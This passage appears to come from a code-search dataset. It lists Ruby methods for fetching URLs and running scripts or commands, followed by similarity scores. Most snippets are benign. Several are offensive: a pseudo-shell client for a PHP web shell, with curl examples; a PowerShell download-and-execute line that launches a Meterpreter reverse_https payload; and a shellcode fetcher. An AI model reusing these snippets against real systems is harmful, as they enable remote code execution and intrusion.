"def load_script(file); end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def script=(_arg0); end",
"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend"
] | [
"0.6601394",
"0.6477018",
"0.6313268",
"0.62140787",
"0.6207827",
"0.6207827",
"0.61791366",
"0.61791366",
"0.60919094",
"0.5984265",
"0.5966487",
"0.5835891",
"0.579875",
"0.578373",
"0.5777577",
"0.5775059",
"0.5757025",
"0.5745799",
"0.5731728",
"0.568103",
"0.5661622",
"0.5661332",
"0.56465703",
"0.5622302",
"0.5609589",
"0.5609013",
"0.560594",
"0.55864304",
"0.55857503",
"0.55154693",
"0.5514472",
"0.55133504",
"0.5504828",
"0.5487799",
"0.5482291",
"0.54625666",
"0.5445132",
"0.54328775",
"0.5429732",
"0.5412659",
"0.54112154",
"0.54090434",
"0.54024893",
"0.53958803",
"0.53946316",
"0.5390855",
"0.538969",
"0.53892976",
"0.53590417",
"0.53527856",
"0.5351817",
"0.53511345",
"0.534772",
"0.53334403",
"0.53334403",
"0.5327479",
"0.53208596",
"0.5320112",
"0.53143954",
"0.5312546",
"0.53111035",
"0.5309958",
"0.5308476",
"0.5307972",
"0.5304152",
"0.5272987",
"0.5253687",
"0.52500516",
"0.52486867",
"0.5248004",
"0.5246949",
"0.52453697",
"0.52441484",
"0.5237202",
"0.52371126",
"0.52325964",
"0.522484",
"0.5214478",
"0.52010024",
"0.51971084",
"0.5196057",
"0.5190729",
"0.5185373",
"0.516639",
"0.51642984",
"0.51616645",
"0.5158921",
"0.51584756",
"0.5157304",
"0.5156219",
"0.5154243",
"0.51469195",
"0.51469195",
"0.5146277",
"0.51427424",
"0.51381296",
"0.51314914",
"0.5122925",
"0.51210964",
"0.5120136",
"0.5111567"
] | 0.0 | -1 |
instance: Post or User | def no_link_picture(instance)
if instance.picture.present?
image_tag(instance.picture.image.url, class: 'img-responsive')
elsif instance.class == User
image_tag('/images/default.png', class: 'img-responsive')
else
image_tag('/images/default2.jpg', class: 'img-responsive')
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_post_and_user\n @post = Post.find(params[:id])\n @user = @post.user\n end",
"def posts\n @user = User.find(params[:id])\n end",
"def show\n @user = User.find(@post.user_id)\n end",
"def post_user\n place = self.place\n place.user\n end",
"def set_post\n @post = Post.find(params[:id])\n @user = User.find(@post.user_id)\n end",
"def user\n object.user\n end",
"def owner\n parent_class = self.class.to_s\n case parent_class\n when 'Post'\n user = :author\n when 'Photo'\n user = :poster\n else\n return false\n end\n self.send(user)\n end",
"def set_post\r\n @user = User.find(params[:id])\r\n end",
"def method_name\n @post = current_user.posts.build \n end",
"def new\n @post = Post.new\n @post.user ||= current_user\n end",
"def is_a_post?\n self.object_type == :post\n end",
"def find_user_and_post\n @user = User.find(params[:user_id])\n @post = Post.find(params[:post_id])\n end",
"def find_user_and_post\n @user = User.find(params[:user_id])\n @post = Post.find(params[:post_id])\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n @post.save\n redirect_to @post\n\n end",
"def user\n self.class == User ? self : super\n end",
"def show\n @post = Post.find(params[:id])\n @user = current_user\n end",
"def getPoster\r\n poster_user = User.find(@postagem.user_id)\r\n if (poster_user.aluno?)\r\n @poster = Aluno.find(poster_user.meta_id) \r\n elsif (poster_user.docente?)\r\n @poster = Docente.find(poster_user.meta_id) \r\n elsif (poster_user.representante_externo?)\r\n @poster = RepresentanteExterno.find(poster_user.meta_id)\r\n elsif (poster_user.admin?)\r\n @poster = Admin.find(poster_user.meta_id)\r\n end\r\n end",
"def author\n UserWrapper.new(@target.user, view_context)\n end",
"def user\n User.new(self)\n end",
"def post_owner(params)\n if validate_post_owner(params)\n db = connect_to_db()\n db.results_as_hash = true\n \n result = db.execute('SELECT userId FROM posts where id=?', params[\"id\"].to_i)\n return result[0][0]\n else\n return false\n end\n end",
"def show\n @post = Post.find(params[:id])\n @user = @post.blog.user\n end",
"def post_relation\n if user = current_user\n respond_with PostRelation.find_or_create(post_id:params[:id],user_id:user.id)\n else\n head :unauthorized\n end\n end",
"def user\n user_id.get_object\n end",
"def create\n #Only the loged user can create posts for himself, not any other user.\n @post = @user.posts.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to [@user,@post], notice: @user.first_name + ', the post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_post\n @post = current_user.posts.find(params[:id])\n end",
"def user\n User.get user_id || User.new\n end",
"def user\n @user\n end",
"def user\n @user\n end",
"def user\n @user\n end",
"def find_own_post\n\t\t@post = current_user.posts.find(params[:id])\n\tend",
"def user\n @user\n end",
"def set_current_user\n Post.current_user = current_user\n end",
"def user\n User.find_by(id: self.object.user_id)\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = User.where(login_type: session[\"user\"][:login_type],username: session[\"user\"][:username]).first\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user\n return @user\n end",
"def getPostedBy\r\n\t\t\t\t\treturn @postedBy\r\n\t\t\t\tend",
"def getPostedBy\r\n\t\t\t\t\treturn @postedBy\r\n\t\t\t\tend",
"def new \n @post = current_user.posts.build #make \n end",
"def user\r\n return @user\r\n end",
"def new\n @post = Post.new\n @user = User.find(params[:user_id])\n end",
"def set_post\n # @post = Post.find(params[:id])\n # want to scope posts to user. \n @post = current_user.posts.find(params[:id])\n end",
"def author\n object.user\n end",
"def user\n user ||= User.find(self.user_id)\n end",
"def add_post\n if current_user.id.to_s == params[:user_id].to_s\n post = Post.new(:user_id => params[:user_id], :content => params[:content],\\\n :title => params[:title], :upvotes => 0, :downvotes => 0, :rank => 0)\n post.save!\n end\n end",
"def owner?(post_owner) # <= User object\n current_user == post_owner\n end",
"def check_post_user\n # Fetch post by id\n @post = Post.find(params[:id])\n\n # Redirect to home page if wrong user or not admin\n unless @post.blog.user == logged_in_user || logged_in_user.admin?\n redirect_to root_url\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = Post.where(user: @user)\n @post = current_user.posts.new if @user == current_user\n @comment = Comment.new\n end",
"def author\n self.user\n end",
"def user_class()\n @user\n end",
"def post\n @post ||= Post[post_id]\n end",
"def set_post\n @post = Post.includes(:user).find(params[:id])\n end",
"def set_post\n @post = current_user.posts.find(params[:id])\n end",
"def set_user_post\n @user_post = UserPost.find(params[:id])\n end",
"def set_user_post\n @user_post = UserPost.find(params[:id])\n end",
"def author; User.get(self.author_id); end",
"def user(body)\n User.find(body[:id])\n end",
"def require_creator\n unless logged_in? && current_user = @post.user\n flash[:error] = \"Can't be done\"\n redirect_to root_path\n end\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = current_user.id\n\n if @post.save\n redirect_to @post\n else\n render :new\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = current_user\n @post.save\n respond_with(@post)\n end",
"def create\n @post = Post.new(post_params)\n @post.postable_id = current_user.id\n if Lender.where(email: session[:user_email]).first\n @post.postable_type = \"Lender\"\n elsif Borrower.where(email: session[:user_email]).first\n @post.postable_type = \"Borrower\"\n end\n if @post.save\n redirect_to \"/chat/#{current_user.id}\"\n else\n flash[:errors] = @post.errors.full_messages\n end\n end",
"def get_user\n @user\n end",
"def get_user\n @user\n end",
"def user\n owner\n end",
"def check_post_owner\n json_response({ error: 'Not authorized' }, :unauthorized) unless @post.user_id == current_user.id\n end",
"def user\n return self['user'] if self['user'].is_a?(User)\n User.new(self['user']) if self['user']\n end",
"def create\n @post = Post.new(params[:post])\n if current_user\n @post.user_id = current_user.id\n end\n \n respond_to do |format|\n if @post.save\n format.html { redirect_to(root_path, :notice => 'Post was successfully created.') }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_post\n @post = current_user.posts.find( params[ :id ] )\n end",
"def create\n @post = Post.new(post_params)\n\n # // why is this required for user validation? -- Rails 5 requirements (search - \"rails user must exist belongs to\")\n @post.user = current_user\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @post = Post.new(post_params)\r\n\r\n #-------add current_user to user_id-----------\r\n @post.user_id = current_user.id\r\n #---------------------------------------------\r\n \r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render :show, status: :created, location: @post }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def author\n User.find(self.user_id)\n end",
"def model\n if forum?\n ForumPost\n elsif blog?\n BlogPost\n end\n end",
"def user\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n if @post.save\n success_post_create\n else\n error_post_save\n end\n end",
"def user\n return @user\n end",
"def user\n return @user\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n if @post.save\n redirect_to post_path(@post)\n else\n render :new\n end\n end",
"def user; end",
"def user; end",
"def user_or_guest\n user or Guest.new(guest_uid, guest_name)\n end",
"def set_post\n # just to hide ID's\n # and use uuid\n # for testing on heroku to avoid mass creation\n @post = Post.where(id: params[:id]).first || Post.where(uuid: params[:id]).first\n end",
"def create\n @post = current_user.posts.new(params[:post])\n if @post.save\n redirect_to @post, notice: \"Post has been created\"\n else\n render :new\n end\n end",
"def user\n super || create_user\n end",
"def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n if current_user == @user\n @posts = current_user.feed.paginate(page: params[:page]) \n else\n @posts = @user.posts.paginate(page: params[:page])\n end\n end",
"def my_posts\n Post.where(user_id: self.id)\n end",
"def create\n @post = Post.new(post_params)\n if ( @post.user_id != current_user.id )\n redirect_to posts_path, notice: 'Undifined user, post was not successfully created.'\n else\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def show\n @post = Post.new\n @user = User.find params[:id]\n @posts = Post.where(\"user_id = ?\", @user[:id])\n @title = \"Profile: \" + @user.username\n end",
"def create\n @post.user = current_user unless params[:post][:user_id].present?\n respond_to do |format|\n if @post.save\n format.html { redirect_to [@user, @post], notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_post\n @api_post = current_user.posts.find(params[:id])\n end",
"def create\n # with assocations, you can build through the association\n # @post = Post.new(post_params)\n #@post.user_id = current_user.id\n\n #this inherently takes the current_user's PK and store it in the FK of the new post because of the assocation we set. It essentially creates this new posts and associates the post with the user.\n # @post = current_user.posts.new(post_params)\n @post = current_user.posts.build(post_params)\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @posts = @user.posts\n end",
"def show\n @user = User.find_by(id: params[:id])\n @posts = @user.posts\n end",
"def user\n return User.new\n end",
"def user\n User.find(self[:user_id])\n end",
"def user\n @user ||= User.new\n end",
"def user\n User.find_by_id self.user_id \n end",
"def me\n @user\n end",
"def user\n @user ||= users.first || users.build\n end",
"def create\n post_params_new = post_params\n user = User.where(email: post_params[:user]).first\n post_params_new[:user] = user\n @post = Post.new(post_params_new)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def current_user\n @user\n end",
"def author\n user\n end",
"def user\n authentication.user\n end"
] | [
"0.7034812",
"0.67661947",
"0.6716437",
"0.66680026",
"0.6645234",
"0.6625824",
"0.6603691",
"0.6595365",
"0.6553536",
"0.6505671",
"0.6497176",
"0.64470124",
"0.64018506",
"0.63721555",
"0.637033",
"0.63123876",
"0.63058937",
"0.62761784",
"0.6275205",
"0.62611544",
"0.622422",
"0.6221502",
"0.62140584",
"0.6209296",
"0.618832",
"0.61857057",
"0.6179748",
"0.6179748",
"0.6179748",
"0.617759",
"0.61551934",
"0.61236197",
"0.6111879",
"0.6110367",
"0.6095968",
"0.607966",
"0.607966",
"0.60771054",
"0.607306",
"0.6072502",
"0.60573226",
"0.60490274",
"0.6039875",
"0.6033124",
"0.6031965",
"0.6031483",
"0.60233974",
"0.6011846",
"0.60010934",
"0.5999858",
"0.5993768",
"0.59887904",
"0.5978605",
"0.5978605",
"0.59735954",
"0.5959167",
"0.5953357",
"0.59516025",
"0.59511703",
"0.5945901",
"0.59447265",
"0.59447265",
"0.5941204",
"0.593768",
"0.5930741",
"0.5928853",
"0.5923459",
"0.5922538",
"0.5905401",
"0.5904789",
"0.5901293",
"0.58780986",
"0.5874802",
"0.58735126",
"0.58735126",
"0.5872246",
"0.5864683",
"0.5864683",
"0.586146",
"0.5839753",
"0.58361644",
"0.5835438",
"0.5834315",
"0.58339393",
"0.5831947",
"0.5830472",
"0.582107",
"0.5820096",
"0.5819327",
"0.58133656",
"0.5812838",
"0.58111936",
"0.580749",
"0.5806939",
"0.58024675",
"0.57977563",
"0.5793698",
"0.579206",
"0.5787665",
"0.5780943",
"0.5779842"
] | 0.0 | -1 |
Collection of all existing adapters | def adapters
Ribbit::Adapters.adapters
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def adapters\n @adapters ||= {}\n end",
"def adapters\n @adapters ||= {}\n end",
"def adapters\n @__adapters__ ||= {}\n end",
"def adapters\n adapters_by_type.values.flatten\n end",
"def adaptors\n @adaptors ||= []\n end",
"def each_adapter\n return enum_for(:each_adapter) unless block_given?\n\n adapters.values.flatten.each { |adapter| yield(adapter) }\n end",
"def adapters(interface)\n mod_hash = interfaces[name_to_key(interface)] || {}\n mod_hash[:adapters] ? mod_hash[:adapters].keys : []\n end",
"def initialize_adapters\n adapters\n nil\n end",
"def drivers\n send :adapters\n end",
"def adapters\n @adapters ||=\n @nodes.transform_values do |convs|\n convs.map { |conv| Adapter.adapter_for(conv, @context) }\n end\n end",
"def configured_adapters\n # Get our adapters as above.\n adapters = ADAPTERS.dup\n\n # Get all configured custom adapters and iterate over them.\n QuirkyApi.adapters.all.each do |configured_adapter|\n # Get the index of the adapter that will be used to determine\n # placement on the custom adapter.\n index = adapters.index(configured_adapter[:adapter])\n\n # Get the pre-existing adapter at that index.\n old_adapter = adapters[index]\n\n # Determine the placement of the new adapter by the 'placement'\n # specified when you configured it (based upon insert_before/after).\n # '+1' here means the new adapter should go after the old one, '-1'\n # means it should go before the old one.\n case configured_adapter[:placement]\n # Append\n when '+1'\n # Put the new adapter immediately after the old adapter.\n adapters[index, 1] = [old_adapter, configured_adapter[:new_adapter]]\n # Prepend\n when '-1'\n # Put the ne wadapter immediately before the old adapter.\n adapters[index, 1] = [configured_adapter[:new_adapter], old_adapter]\n end\n end\n\n # Return all adapters such as they are.\n adapters\n end",
"def index\n @adapters = Adapter.all\n end",
"def unsupported_adapters\n []\n end",
"def adapters_by_type\n return @adapters if @adapters\n\n @adapters =\n Manager::TYPES.each_with_object({}) do |type, data|\n data[type] =\n Etsource::Fever.group(@name).keys(type).map do |node_key|\n Adapter.adapter_for(\n @context.graph.node(node_key), @context\n )\n end\n end\n end",
"def find_adapters_from_path\n @@supported_files.each do |file|\n path = File.expand_path(\"#{self.path}/#{file}\")\n if File.exists?(path)\n adapter = Adapter.new(path, self)\n self.adapters << adapter if adapter.valid?\n end\n end\n \n self.adapters\n end",
"def adapter_options\n []\n end",
"def all\n @adapter.all(collection)\n end",
"def add(adapter)\n adapters << adapter\n end",
"def interfaces\n InterfaceCollection.open\n end",
"def adapter_options\n []\n end",
"def each_adapter(options)\n Sms::Adapters::Factory.products(options).each do |klass|\n yield(klass.new)\n end\n end",
"def init_adapters(adapter_manager)\n end",
"def connectors\n return @connectors\n end",
"def connectors\n return @connectors\n end",
"def url_adapters\n @url_adapters ||= Imgproxy::UrlAdapters.new\n end",
"def <<(adapter)\n @adapters << adapter\n end",
"def get_extensions\n collection = Occi::Collection.new\n BACKEND_TYPES.each { |backend_type| collection.merge! backend_instances[backend_type].get_extensions }\n collection\n end",
"def initialize_exchange_rate_adapters\n @exchange_rate_adapters ||= []\n if self.exchange_rate_adapter_names.kind_of?(Array) && self.exchange_rate_adapter_names\n self.exchange_rate_adapter_names.each do |adapter|\n begin\n @exchange_rate_adapters << Straight::ExchangeRate.const_get(\"#{adapter}Adapter\").instance\n rescue NameError\n StraightServer.logger.warn \"No exchange rate adapter with the name #{adapter} was found!\"\n end\n end\n end\n end",
"def interfaces\n Vedeu::Interfaces.registered\n end",
"def storages\n reflective_auto_load_adapter_extension\n storages # call the overrided method\n end",
"def connections\n return @connectors.keys\n end",
"def collection_protocols\n collection_registrations.map { |reg| reg.protocol }.uniq\n end",
"def settings\n adapter_id = self.const_get(:ADAPTER_ID)\n @adapter_settings = []\n Octo::Enterprise.all.each do |enterprise|\n opt = {\n enterprise_id: enterprise.id,\n adapter_id: adapter_id,\n enable: true\n }\n @adapter_settings << Octo::AdapterDetails.get_cached(opt)\n end\n end",
"def all\n @data_adapter.relations\n end",
"def adapter\n @adapter\n end",
"def api_connectors\n return @api_connectors\n end",
"def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t}\n\t\t]\n\tend",
"def adapter\n self.class.adapter\n end",
"def index\n# @show_adapters = ShowAdapter.all\n end",
"def all\n @@responders\n end",
"def clear!\n @adapters = []\n end",
"def install_all(adapter_config_map = {})\n @lock.synchronize do\n @adapters.map(&:instance).each do |adapter|\n install_adapter(adapter, adapter_config_map[adapter.name])\n end\n end\n end",
"def register\n ModelAdapter.adapters ||= []\n ModelAdapter.adapters << Kernel.const_get(self.to_s)\n end",
"def sources\n @settings.sources.to_a.inject({}) do |result, (source_id, source)|\n result[source_id] = source[:adapter].configuration\n result\n end\n end",
"def all_extensions\n r = []\n manager.Get.each do |ext|\n r << ext\n end\n r\n end",
"def fc_interfaces\n provider.fc_interfaces\n end",
"def get_drivers\n return return_all_drivers\n end",
"def reset_adapters\n @adapters = nil\n end",
"def prepend\n adapters.unshift(adapter)\n end",
"def load_adaptors(*args)\n adaptors.map do |adaptor_klass|\n next unless adaptor_supports?(adaptor_klass, args)\n instantiate_adaptor(adaptor_klass, args)\n end.compact\n end",
"def providers\n @providers.dup\n end",
"def apps\n collect\n end",
"def adapter_initialize\n end",
"def all_items\n raise NotImplementedError, \"You should implement #{__method__} method\"\n end",
"def all\n @all ||= widget_types.reject(&:abstract?).inject({}) {|res, type| res.deep_merge(type.instances_hash)}\n end",
"def get_drivers\n drivers\n end",
"def get_all_tables\n\t\ttc = new_sub(@discovery['tables']['url'], @discovery['tables']['capability'])\n\t\ttc.listen.map {|x| JSON.parse(x) rescue nil}.compact\n\tend",
"def providers\n driver(current_driver).providers\n end",
"def data_sources\n []\n end",
"def providers\n @providers ||= {}\n end",
"def adapter_helpers(adapter)\n adapter.class.ancestors.each_with_object([]) do |klass, ret|\n next unless klass.is_a?(Class)\n next unless klass.const_defined?(HELPERS_MODULE_NAME)\n ret.unshift klass.const_get(HELPERS_MODULE_NAME)\n end\n end",
"def interfaces\n @interfaces ||= Interface.coercer(attributes[:interfaces])\n end",
"def connections\n @connections ||= []\n end",
"def adapter\n @adapter ||= load_adapter\n end",
"def interfaces_list\n [\n {\n 'uri' => '/catalogues',\n 'method' => 'GET',\n 'purpose' => 'REST API Structure and Capability Discovery'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'GET',\n 'purpose' => 'List all NSs or specific NS',\n 'special' => 'Use version=last to retrieve NSs last version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'POST',\n 'purpose' => 'Store a new NS'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update NSD status'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'GET',\n 'purpose' => 'List all VNFs or specific VNF',\n 'special' => 'Use version=last to retrieve VNFs last version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'POST',\n 'purpose' => 'Store a new VNF'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update VNFD status'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF specified by vendor, name, 